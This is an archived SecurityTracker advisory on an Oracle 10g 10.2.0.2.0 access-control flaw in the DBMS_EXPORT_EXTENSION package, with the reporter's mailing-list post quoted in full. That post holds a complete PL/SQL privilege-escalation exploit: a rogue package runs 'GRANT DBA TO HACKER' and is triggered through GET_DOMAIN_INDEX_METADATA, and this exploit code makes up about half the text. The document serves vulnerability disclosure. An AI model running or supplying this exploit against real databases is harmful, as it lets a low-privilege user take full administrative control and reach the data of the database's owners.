Oracle Database DBMS_EXPORT_EXTENSION Package Lets Remote Users Execute Arbitrary Functions
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SecurityTracker Alert ID: 1015999
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SecurityTracker URL: http://securitytracker.com/id?1015999
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CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Apr 26 2006
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Impact: Execution of arbitrary code via network, User access via network
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Exploit Included: Yes
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Version(s): 10.2.0.2.0
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Description: A vulnerability was reported in Oracle Database. A remote authenticated user can execute arbitrary functions on the database.
A remote authenticated user can invoke the DBMS_EXPORT_EXTENSION package to open a user-supplied object and have the object execute
an arbitrary function.
The vendor was notified on February 19, 2006 by NGSSoftware, which separately discovered this vulnerability.
N1V1Hd
$3c41r3 originally disclosed this vulnerability.
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Impact: A remote authenticated user can execute arbitrary functions on the target system.
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Solution: No solution was available at the time of this entry.
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Vendor URL: www.oracle.com/ (Links to External Site)
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Cause: Access control error
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Underlying OS: Linux (Any), UNIX (AIX), UNIX (HP/UX), UNIX (Solaris - SunOS), Windows (NT), Windows (2000)
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Reported By: "putosoft softputo" <hasecorp@hotmail.com>
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Message History:
None.
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Source Message Contents
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Date: Wed, 19 Apr 2006 08:33:56 +0000
From: "putosoft softputo" <hasecorp@hotmail.com>
Subject: Oracle 10g 10.2.0.2.0 DBA exploit
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/*
* Fucking NON-0 day($) exploit for Oracle 10g 10.2.0.2.0
* Patch your database now!
* by N1V1Hd $3c41r3
*/
CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;
END;
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
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